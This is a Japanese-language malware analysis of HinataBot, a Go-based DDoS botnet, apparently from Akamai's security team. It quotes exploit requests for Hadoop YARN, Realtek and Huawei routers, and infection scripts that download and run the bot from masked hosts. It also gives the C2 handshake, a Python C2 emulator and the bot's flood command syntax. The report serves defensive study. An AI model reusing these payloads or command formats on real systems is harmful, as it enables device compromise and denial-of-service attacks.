HinataBot を解明:Go 言語ベースの脅威の詳細な分析
編集・協力:Tricia Howard
エグゼクティブサマリー
Akamai Security Intelligence Response Team(SIRT)の研究者が、DDoS を目的とした新たな Go ベースのボットネットを発見しました。このマルウェアの作成者は、人気アニメシリーズ『NARUTO-ナルト』のキャラクターにちなんで、このマルウェアを「Hinata(ヒナタ)」と名付けたようです。私たちはこのマルウェアを「HinataBot」と呼んでいます。
HinataBot は、2023 年の最初の 3 か月間に配布が観察され、作成者やオペレーターによって活発にアップデートされています。
HTTP および SSH のハニーポットで、古い脆弱性や弱い認証情報を悪用するサンプルが発見されました。
Realtek SDK デバイスの miniigd SOAP サービス(CVE-2014-8361)、Huawei HG532 ルーター(CVE-2017-17215)、公開されている Hadoop YARN サーバー(CVE 該当なし)などを悪用する感染試行が観察されています。
私たちは、このマルウェアをリバースエンジニアリングするとともに、コマンド & コントロール(C2)サーバーを模倣することで、このマルウェアの仕組みや、結果として生じる攻撃トラフィックの特徴を詳しく調べることができました。
HinataBot の概要
HinataBot は、Akamai SIRT のセキュリティリサーチャーが最近 HTTP や SSH のハニーポットで発見した Go ベースのマルウェアです。発見されたサンプルは、そのサイズが大きいことと、比較的新しいハッシュに特定の識別情報がない点が目を引きました。このマルウェアは作成者により、人気アニメシリーズ『NARUTO-ナルト』のキャラクターにちなんだ名前が付けられたようで、バイナリには「Hinata-<OS>-<Architecture>」のようなファイル名構造が使用されています。
HinataBot は、増え続ける新しい Go ベースの脅威の最新のものといえます。Go ベースの脅威には、 GoBruteForcer や、最近 SIRT が発見した kmsdbotなどのボットネットがあります。攻撃者が Go を活用するのは、パフォーマンスが高く、マルチスレッド処理が簡単で、複数のアーキテクチャやオペレーティングシステムへのクロスコンパイルをサポートしているといったメリットがあるからだけでなく、コンパイルすると複雑さが増し、結果として得られるバイナリのリバースエンジニアリングが困難になるからだと考えられます。
HinataBot には、ダイヤルアウトと着信接続のリスニングを含め、さまざまな通信方法が採用されています。このマルウェアは、HTTP、UDP、TCP、ICMP などのプロトコルを使用してトラフィックを送信する分散型サービス妨害(DDoS)フラッディング攻撃として観察されてきました。しかし、最新バージョンの HinataBot は攻撃手法が HTTP 攻撃と UDP 攻撃に限定されています。
HinataBot の感染キャンペーン
配信手法については、感染スクリプトとフルペイロードの組み合わせが観察され、Hadoop YARN RCE(図 1)と Realtek SDK デバイス内の miniigd SOAP サービスの脆弱性(CVE-2014-8361、図 2)の 2 つの主要な脆弱性が悪用されています。
/ws/v1/cluster/apps
{"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64 && chmod +x hinata-linux.amd64 && ./hinata-linux.amd64 &"}}, "application-type": "YARN"}
図 1:Hadoop YARN RCE を通じたペイロード配信
/picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
図 2:CVE-2014-8361 を通じたペイロード配信
これらの攻撃は、2023 年 1 月 11 日から 1 月 16 日まで複数発生しました。攻撃者は、複数バージョンの感染スクリプトを使用していましたが、これらは時間が経つにつれてアップデートされました。そのうち主要な 2 つのスクリプトには、適切なペイロードの取得に使用されるプロトコルを反映して、それぞれ「wget.sh」(図 3)と「tftp.sh」(図 4)という名前が付けられています。
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
図 3:wget を使用してペイロードをダウンロードする感染スクリプト「wget.sh」
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-aix.ppc64 hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.386 hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.amd64 hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
図 4:FTP を使用してペイロードをダウンロードする感染スクリプト「tftp.sh」
SSH ハニーポットでは、攻撃者は総当たり方式で一般的なユーザー名とパスワードの組み合わせを試行しました。その後ログインに成功すると、シェルを開き、図 5 に示すアクションの実行へと進みました。
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xxx.xxx.xxx.xxx/wget.sh; curl -O http://xxx.xxx.xxx.xxx/wget.sh; chmod 777 *; tftp -g xxx.xxx.xxx.xxx -r wget.sh; tftp xxx.xxx.xxx.xxx -c get wget.sh; tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; tftp -g xxx.xxx.xxx.xxx -r tftp.sh; tftp xxx.xxx.xxx.xxx -c get tftp.sh; tftp -r tftp.sh -g xxx.xxx.xxx.xxx; chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://xxx.xxx.xxx.xxx/wget.sh; busybox curl -O http://xxx.xxx.xxx.xxx/wget.sh; busybox chmod 777 *; busybox tftp -g xxx.xxx.xxx.xxx -r wget.sh; busybox tftp xxx.xxx.xxx.xxx -c get wget.sh; busybox tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; busybox tftp -g xxx.xxx.xxx.xxx -r tftp.sh; busybox tftp xxx.xxx.xxx.xxx -c get tftp.sh; busybox tftp -r tftp.sh -g xxx.xxx.xxx.xxx; busybox chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c;
図 5:Cowrie ハニーポットでペイロードのダウンロードを試行するシェルスクリプト
HinataBot マルウェアは、Go バイナリとして配信され、さまざまなアーキテクチャやオペレーティングシステムで実行されるように設計されています。マルウェア作成者は複数のプラットフォームに対応する特殊なペイロードを開発することが多く、ここ数年はその傾向が一般的になってきています(図 6)。これは、クロスコンパイルが容易であることに加え、あまり使われていない CPU アーキテクチャを実行する IoT(モノのインターネット)や小規模オフィス/ホームオフィスのデバイスなどの存在が要因と考えられます。つまり、標的が選り取り見取りな状況だといえます。
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm64
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-mips64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-386
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-solaris-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-windows-386.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-amd64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64
図 6:さまざまな OS とアーキテクチャが組み合わせられたペイロード
配信 IP をピボットとして利用することで、以前配信に使用されていた 2 つの追加 IP を特定できました。どのケースでも、このピボット IP はプロキシとして使用されていました。さらに分析すると、攻撃者は独自の Go ベースマルウェアを開発する前に、一般的な Mirai 亜種の配信を試行していたことがわかりました。これは、UPX でパックされ、識別しにくい名前が使用されていました(図 7)。
tftp://xxx.xxx.xxx.xxx/tftp.sh
http://xxx.xxx.xxx.xxx/wget.sh
tftp://xxx.xxx.xxx.xxx/wget.sh
http://xxx.xxx.xxx.xxx/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
図 7:さまざまな感染スクリプトと一般的な Mirai バイナリ
最初のマルウェア配信試行は 2022 年 12 月に開始され、当初はまったく異なる感染スクリプトが使用されていました(図 8)。このような初期のスクリプトは、作成者が手法とツールの有効性を評価するために実施した最初のテストランだったのかもしれません。
# Hinata
# Get the Kernel Name
# wget http://xxx.xxx.xxx.xxx/infect.sh && chmod +x infect.sh && ./infect.sh && rm -rf infect.sh
Kernel=$(uname -s)
case $Kernel in
Linux) Kernel="linux" ;;
Darwin) Kernel="darwin" ;;
Windows) Kernel="windows" ;;
Android) Kernel="android" ;;
FreeBSD) Kernel="freebsd" ;;
Dragonfly) Kernel="dragonfly" ;;
OpenBSD) Kernel="openbsd" ;;
NetBSD) Kernel="netbsd" ;;
Solaris) Kernel="solaris" ;;
*) echo "Your Operating System -> ITS NOT SUPPORTED" ; exit 1 ;;
esac
# Get the machine Architecture
Architecture=$(uname -m)
case $Architecture in
x86) Architecture="x86" ;;
ia64) Architecture="ia64" ;;
i?86) Architecture="x86" ;;
amd64) Architecture="amd64" ;;
x86_64) Architecture="amd64" ;;
sparc64) Architecture="sparc64" ;;
i386) Architecture="i386" ;;
arm64) Architecture="arm64" ;;
arm7) Architecture="arm" ;;
armc) Architecture="arm" ;;
386) Architecture="386" ;;
mips) Architecture="mips" ;;
mipsle) Architecture="mipsle" ;;
mips64) Architecture="mips64" ;;
mips64le) Architecture="mips64le" ;;
ppc64) Architecture="ppc64" ;;
ppc64le) Architecture="ppc64le" ;;
s390x) Architecture="s390x" ;;
riscv64) Architecture="riscv64" ;;
*) echo "Your Architecture '$Architecture' -> ITS NOT SUPPORTED." ; exit 1 ;;
esac
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
curl -O http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
chmod +x *;
./hinata-$Kernel-$Architecture;
図 8:初期の感染スクリプト
私たちはさらに、攻撃者が比較的古いバージョンの感染スクリプトの配信に悪用した脆弱性をもう 1 つ特定しました(図 9)。この脆弱性( CVE-2017-17215)は、Huawei HG532 ルーターに影響し、任意のリモートコードの実行が可能になります。
/ctrlt/DeviceUpgrade_1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://xxx.xxx.xxx.xxx/KKveTTgaAAsecNNaaaa/KKveTTgaAAsecNNaaaa.mips; chmod 777 *; ./KKveTTgaAAsecNNaaaa.mips)>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
図 9:CVE-2017-17215 を悪用して Huawei HG532 ルーターに感染
HinataBot の背後にいる攻撃者たちは、少なくとも 2022 年 12 月から活動を活発化していましたが、独自のマルウェア開発を始めたのは 2023 年 1 月中旬です。これ以降、このマルウェアが繰り返し観察され、感染手法もさまざまに変化しています。配信とコマンド & コントロール(C2)接続に使用されたプライマリ IP は、過去にスパムやマルウェアの配信に使用されたことがあるものでした。この IP が悪性のものとして設計されたのか、単に侵害されて悪用されているのかは、現時点では不明です。
Mirai の影響
前述のとおり、HinataBot の背後にいる攻撃者は、当初は Mirai バイナリを配信していました。Mirai は、IoT デバイスを標的とするマルウェアの先駆けとして有名なマルウェアファミリーであり、オープンソース化され、さまざまな攻撃者やグループによって継続的に利用されてきました(その結果として進化してきました)。現在、Mirai には、複数の作成者、実行者、グループによって構築された多数の亜種やボットネットがあります。
DNS レコードの履歴を見ると、最近では 2023 年 2 月に、HinataBot に最近関連付けられた IP がドメイン「hihi.mirailovers.pw」に解決されていることがわかります(図 10)。
Go で Mirai を書き換えようとする多数の試みが公開されていますが、HinataBot はこうした試みの一部と構造が似ているようです。たとえば、HinataBot が main メソッドで通信を設定する手法や、コマンドを解析して攻撃を開始する手法は、他の Go ベースの Mirai 亜種に使用されている構造と似ています。
重要なのは HinataBot がまだ開発段階にあり、進化途上であるという点です。今はまだ、このマルウェアが今後どう変化し、どのような姿になっていくのか予測するのは困難です。
当初の姿
当初私たちは最新の配信 IP にアクセスしようとしました。ping は可能でしたが、そのサーバーから直接サンプルをダウンロードすることはできませんでした。おそらく、攻撃者が保護メカニズムを実装していたか、または配信後にサンプルを削除していたと考えられ、直接攻撃以外でサンプルを取得することは難しくなりました。同じ攻撃者による以前のキャンペーンでは、ランダム化されているように見える名前パターンが観察されました(図 9 を参照)。
幸い、最初の感染時に当社の自動分析ツールに保存されていたため、サンプルを入手できました。私たちは、マルウェアリポジトリから、MIPS32 バージョンと x86-64 バージョンの両方をダウンロードし、静的分析を開始しました。バイナリはどちらも Go で書かれていましたが、壊れておらず、パックやストリップの処理もなく、比較的扱いやすい状態でした(図 11)。その後、このドキュメントの発行時までの間に、このバイナリはストリップされました。今後は、さらなるリバースエンジニアリングは困難になると思われます。
$ file hinata
hinata: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=gfgPbqdcg0-yRmHHtXPR/IBS6ZkQMVMHVV2qxav1B/EFvlrym6DccdYqeOZ5d7/cclENKTkTyznOj0NvSFl, not stripped
図 11:Hinata に対する「file」コマンドの実行
最初は、2 か月前の HinataBot マルウェアのサンプル(図 12)を分析し始めましたが、その後、新しいサンプル(図 13)があることに気づきました。私たちがログでこのマルウェアを発見したのと同じ日にリリースされていたのです。そのため、私たちは新しい方のサンプルを分析することにしました。
この 2 つのバージョンの主な違いは、新しいサンプルの方が合理化され、モジュール機能が強化されている点です。さらに、新しい方のサンプルには、オリジナルバージョンにはない基本的なセキュリティ対策がいくつか組み込まれています。これらの違いについては、 この投稿の後半のセクションで詳しく説明します。
hinata-linux-mips
5.98 MB
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
図 12:2023 年 1 月の HinataBot サンプル
hinata-linux-mips
4.49 MB
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
図 13:2023 年 3 月の HinataBot サンプル
分析を進めるとすぐに、いくつかの関数に目がとまりました。私たちの関心を引き付けた関数は、 sym.main.startAttack、 sym.main.http_flood、 sym.main.udp_flood の 3 つです(図 14)。これらの関数の名前は、このマルウェアが DDoS 攻撃の起動を意図していることを示唆しています。
このマルウェアの詳細な分析によって C2 通信への参照が明らかとなり、そこから、HinataBot が DDoS 指向のボットネット構築キャンペーンの一部だったという手がかりが得られました(図 15)。
C2 通信のマッピング
HinataBot マルウェアが C2 への接続を確立する仕組みを理解するために、"Connection to CNC is OK!" という文字列から遡り、この文字列への相互参照の探索を開始しました(図 16)。これにより、このマルウェアが C2 と通信するメカニズムが明らかになりました。
調査の結果、HinataBot の C2 サーバーにたどり着くことができました。このサーバーは感染キャンペーン中にこのマルウェアを配信した配信元 IP と同じ IP であり、TCP/1420 でリッスンしています(図 17)。
アセンブリコードを見てみると、接続に使用されている API(「API_CONNECTION_ATTACK」)への参照や、感染したデバイスに返送可能な多数のコマンドも見つかりました。これらのコマンドは私たちが試したいと思っていたものです(図 18)。
この時点で私たちは、入手したサンプルがこの配信/C2 サーバーに接続して、ボットの起動とコマンド待ち状態をこの C2 サーバーに伝えるだろうと確信しました。しかし、この C2 サーバーはオフラインになっていたのです。
面白いことに、HinataBot はリスニングポートとして TCP/61420 をオープンすることが観察されています(図 19)。この機能については、今回の調査の主な目的(このボットネットによって生成され得る攻撃トラフィックをより深く理解すること)の範囲外と思われるため、あまり深く掘り下げませんでした。
ただし、C2 への正常な接続が確立されるかどうかによって、このリスナーのタイミングに差異が生じることは説明しておきたいと思います。C2 が正常に接続されると、このリスナーは 3 分後に停止します。C2 に到達できなかった場合、このポートは明確な時間制限なく、リスニング状態を維持します。このポートでオペレーターが実行できる機能、たとえば、なんらかのピアツーピア機能や、アップデート/コントロール/リカバリ機能などについて理解するためには、このポートに関してさらに詳しく調査する必要があります。このドキュメントの執筆時点では、これについて確実な情報をお伝えすることはできません。
HinataBot の探索
調査の次段階では、意図的にいくつかのマシンを感染させ、C2 サーバーを作成して、HinataBot のインタラクション、セキュリティ対策、トラフィックパターンを分析しました。ここでは、HinataBot のリバースエンジニアリング中のプロセスと観察結果について簡単に説明します。
HINATA_START_NICE
前述のように新しい HinataBot サンプルには、以前のバージョンにはなかった基本的なセキュリティ対策がいくつか組み込まれていました。1 つめはパスワード要件です。サンプルを実行すると最初に通知されるのは、捕捉されなかった例外です。結果として表示されるエラーメッセージからもこれは明白です(図 20)。
エラーメッセージを詳しく調べると、このサンプルは実行時に追加の引数を求めることがわかりました。この引数に何かを渡すと、捕捉されなかった例外は通過できますが、HinataBot は終了します。これで、この引数に HinataBot が何を求めているのかを知るためには、逆アセンブルに戻る必要があることが明らかになりました。
私たちはマルウェアのサンプルを検索し、最終的に 17 文字(0x005fe3d2)の文字列 "HINATA_START_NICE"(0x005fe3d8)が sym.runtime.memequal コール(0x005fe3e0)で使用されていることを特定しました。このコールは失敗し、マルウェアは ret 命令に流れ、実行が強制終了します(図 21)。私たちはサンプル実行時にこの文字列を引数として使用しました。そうすると、興味深いコードへと実行が進みました。
面白いことに、アニメ Naruto に出てくるヒナタという名前のキャラクターは、落ちついた穏やかなキャラクターとして登場し、その後は強さを見せるようになります。このマルウェアの作者は、「"HINATA_START_NICE"」という引数を使用することで、このマルウェアが C2 と通信して攻撃のローンチに参加することを案に示しているのかもしれません。
比較的古い 2023 年 1 月の HinataBot マルウェアのサンプルには、このパスワード要件がなかったため、私たちが遭遇した感染スクリプトのほとんどにはこの引数はありませんでした。しかし、この要件の発見後に詳細に見直すことで、私たちは比較的新しい感染スクリプトを追跡できました(図 22)。新しいスクリプトは感染時にこの引数をバイナリに渡します。これを あらかじめわかっていれば良かったのですが...。
#!/bin/bash
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix-ppc64; chmod +x hinata-aix-ppc64; ./hinata-aix-ppc64 HINATA_START_NICE; rm -rf hinata-aix-ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-386; chmod +x hinata-android-386; ./hinata-android-386 HINATA_START_NICE; rm -rf hinata-android-386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-amd64; chmod +x hinata-android-amd64; ./hinata-android-amd64 HINATA_START_NICE; rm -rf hinata-android-amd64;
図 22:パスワードを悪用する新しい感染スクリプト
Go.123+Strings-456.Are_789-Weird
HinataBot のサンプルを分析したところ、多数の非常に長いプレーンテキスト文字列がバイナリに埋め込まれていることがわかりました。Go では、文字列リテラルの保存方法として、"文字列テーブル"または"文字列インターンプール"と呼ばれる連続したメモリブロックに文字列リテラルを配置するという独特の手法が採られています。
その結果、Go バイナリで strings コマンドまたはディスアセンブラを実行すると、文字がごちゃまぜ状態で出力され、テーブル内の個々の文字列の区別が難しくなることがあります(図 23)。
この手法は、null 終端バイト文字列を使用する一般的な他のプログラミング言語とは異なります。末尾の null バイトがないと、ツールは検出文字列を、null バイトが出現するまで読み続けます。そのため、文字列の単純な分析がますます難しくなるのです。
コードセグメントから文字列テーブルのアドレスセグメントへの相互参照を調べれば、大きなテーブル内の個々の文字列がどこから始まるのかを特定しやすくなります。多くの場合、レジスタに読み込まれる文字列の長さは、その文字列の読み込みの前または後、あるいは文字列スライスの参照を使用する関数呼び出しの一部として特定できます(図 24)。使いこなすには時間がかかりますが、この方法に慣れればとても簡単です。
どうすればいい?グース!
私たちはパスワード要件を満たす手段として、C2 サーバーへの接続の確立に着目しました。そしてパスワード検出と同様の方法で、C2 サーバーへの接続確立に必要なハンドシェイクプロトコルの必須コンポーネントを特定できました。この C2 サーバーは今回の調査/執筆時点にはダウンしていました。
そこで私たちは、 netcat を使用してポート 1420 でリッスンするようにし、私たちがコントロールしている IP を C2 サーバーとして使用するようにバイナリを修正しました。接続されたら、感染したデバイスに適切なトリガーを送信し、攻撃に参加させます(図 25)。
このハンドシェイクでは、最初の接続後に、ボットがAPI_CONNECTION_BOT [os]/[architecture] [hostname]というメッセージを送信します。その後、ボットは C2 サーバーから API_CONNECTION_SIGNAL_OK メッセージが返されるのを期待します。こうしてボットは着信コマンドをリッスンするようになります(図 26)。ハンドシェイクが終了したら、 API_CONNECTION_ATTACK: シグナルを送信して攻撃を開始します。
私たちはこの接続のメンテナンスを自動化するために、シンプルな C2 サーバーを作成し、コードを変更しなくてもテキストファイルに保存されているコマンドを変更して送信できるようにしました。これで、すばやく簡単にテストできるようになりました(図 27)。また、調査全体の所要時間をかなり節約できました。
#!/usr/bin/env python
from pwn import *
import time
l = listen(1420)
l.wait_for_connection()
time.sleep(1)
l.send(b'API_CONNECTION_SIGNAL_OK')
while True:
data = l.recv()
if data:
print(time.time(), data)
if data == b'API_CONNECTION_SIGNAL_CHECK':
continue
else:
print(time.time(), 'no data recv\'d')
cmdf = open('cmd.txt','r')
cmdt = cmdf.read()
cmdf.close()
if cmdt == "":
cmdt = b'API_CONNECTION_SIGNAL_OK'
print(time.time(), 'SENT:', cmdt)
l.send(cmdt)
図 27:感染ノードへの接続を維持するために C2 を再作成
こうした HinataBot とのやり取りは十分に興味深いものでしたが、私たちの最終的な目標は、このマルウェアの動作を常に観察し、標的システムに向けられたときに攻撃トラフィックがネットワークでどのように見えるかを確認することでした。そこで、基本的な C2 通信を設定してから、攻撃コマンドの詳細な調査、ロジックの処理、攻撃コマンド構造のマッピングを開始しました。
豹変する HinataBot
このマルウェアの最新バージョンには、2 つの主要な攻撃手法であるHTTP と UDP が組み込まれています。古いバージョンには、これら 2 つに加えて、ICMP フラッドと TCP フラッドを活用する攻撃方法も含まれていました。これらが削除された理由は不明です。
私たちは、実際の攻撃トラフィックを詳しく見るため、仮に作成した C2 サーバーを使用し、ボットがハートビートを送信できるように接続を維持しました。このようにすることで、感染デバイスへの接続の維持を心配することなく、攻撃コマンドのみに集中できました。
広範な分析とテストの結果、攻撃のローンチやネットワークでのパケット捕捉の開始に必要とされる構造とフィールドが明らかになりました。このマルウェアの作成者は、無名関数、goroutine、チャネル、ワーカープール、待機グループなど、Go の複数の規約を活用して、リバースエンジニアリングを難しくしています。かなりの数のテストを実施して、ようやく攻撃コマンドの構造にたどり着きました(図 28)。
API_CONNECTION_ATTACK: [ATTACK_TYPE] [TARGET] [DURATION] [UDP_OPTIONS]
図 28:攻撃コマンドの構造
最終的に明らかになった基本的なコマンド構造は非常にすっきりしたものでした。攻撃コマンドは常に API_CONNECTION_ATTACK: から始まり、 ATTACK_TYPE(攻撃タイプ)、 TARGET、そして攻撃の DURATION(持続時間)の 3 つの必須フィールドが続きます。さらに、 udp_flood 用に 4 番目の攻撃フィールド UDP_OPTIONS もあります。udp_flood 攻撃を発行する際には、コマンドチェックの発生方法のため、このフィールドが必要となりますが、不思議なことにこのフィールドは有効でなくてもよいのです。
攻撃タイプ 0: http_flood
http_flood コマンドは追加のオプションパラメーターを使用するようには見えず、 udp_flood 攻撃とは異なります。ネイティブの net.http Go ライブラリに依存しているので、この攻撃のために解析する設定やオプションのほとんどは Go ライブラリ自体から直接取得され、 TARGET ディレクティブによって制御されます。
図 29 の攻撃コマンドでは、 http_flood (タイプ 0)攻撃が 127.127.127.127 on TCP/31337 に直接発行され、 10 秒間継続します。パス、ポート、GET パラメーター、プロトコルはすべて、この target ディレクティブから推定されます。ポートが指定されない場合は、デフォルトのポートである TCP/80 が使用されます。
API_CONNECTION_ATTACK: 0 http://127.127.127.127:31337/asdf?a=GETA&b=GETB 10
図 29:http_flood 攻撃の攻撃コマンド構造
前述のように、このバイナリは Go 独自の net.http ライブラリに依存して攻撃を実行します。ボットは goroutine を介して 512 のワーカーによるワーカープールを作成し、各ワーカーがそれぞれ net.http.Request オブジェクトを作成します。図 30 では、個々のワーカー内から、この仕組みの一端を見ることができます。
まず、新しい Context オブジェクトと新しい RequestWithContext クラスが作成されます。この Context オブジェクトには HTTP ヘッダーが設定され、これが RequestWithContext クラスを介して実行されます。これらのヘッダーには静的なものも、ランダム化されているものもあります。図 30 には、 Rand Seed や Intn コールがあります。これらは、バイナリ内にハードコードされた 10 個の静的な User-Agent のリストから、ランダムに User-Agent を選択するために使用されます。検索するヘッダーについては、あとで、 http_flood 攻撃中にこのマルウェアから着信するトラフィックを分析する際に説明します。
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: hTjpyhseGCbpyADUlXRyQgvTmHfrr
Keep-Alive: 20319
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: ljwAbmstAHTcIeqkyIZVgRmJpibg
Keep-Alive: 20456
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: YnBsbIPmklTccQrcLXZeFFUJAHMa
Keep-Alive: 20084
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
図 31:3 つの http_flood サンプル攻撃リクエスト
シミュレーション攻撃イベント中に捕捉された HTTP ヘッダーからの重要な観察結果についても触れたいと思います。静的フィールドとランダム化されたフィールドのどちらも、いくつかの点でフィンガープリンティングに有用です。防御担当者はこのサンプルトラフィックを確認すべきですが、マルウェア作成者が攻撃能力を高めるために利用する恐れがあるので、このトラフィックの特定とブロックが簡単である理由を明らかにすることは控えます。マルウェア作成者にさほどメリットを提供することなく言えることは、サイズ、順序、値の面で多くのペイロードが静的であるという点です。ランダム化されているフィールドもいくつかあります。たとえば、 User-Agent (10 個の静的な User-Agent のリストから選択されます)、Keep-Alive、Cookies ヘッダーなどがそうです。防御担当者にとっては、図 31 のサンプルトラフィックに示されている Host や Referrer ヘッダーも要注意です。攻撃コマンドで、target ディレクティブのターゲットポートが指定されていない場合、デフォルトでは TCP/80 または TCP/443 が使用され、いずれのヘッダーにもポートが含まれない点に留意してください。
API_CONNECTION_ATTACK: 0 https://user:pass@127.0.0.1/ouch 120
図 32:設定を改良した http_flood 攻撃のコマンド構造
もう 1 つ重要なことがあります。Go の net.http.Client が利用されているため、この攻撃タイプの設定は target ディレクティブを通じて行われ、(充実した機能的な)ライブラリが実行するあらゆるものをサポートします。たとえば、HTTPS、リダイレクトフォロー、ドメイン解決、HTTP 認証ヘッダーなどをサポートします。図 32 の攻撃コマンドでは、 https:// への移行により、組み込みライブラリで TLS とターゲットポート 443 が使用されます。また、target ディレクティブに user:pass@ を含めたため、トラフィックには Authorization: Basic dXNlcjpwYXNz ヘッダーも含まれます。
今回の執筆時点では、攻撃リクエストのメソッドはハードコードされているため、今のところ HTTP GET リクエストに限定されているようです。
攻撃タイプ 1: udp_flood
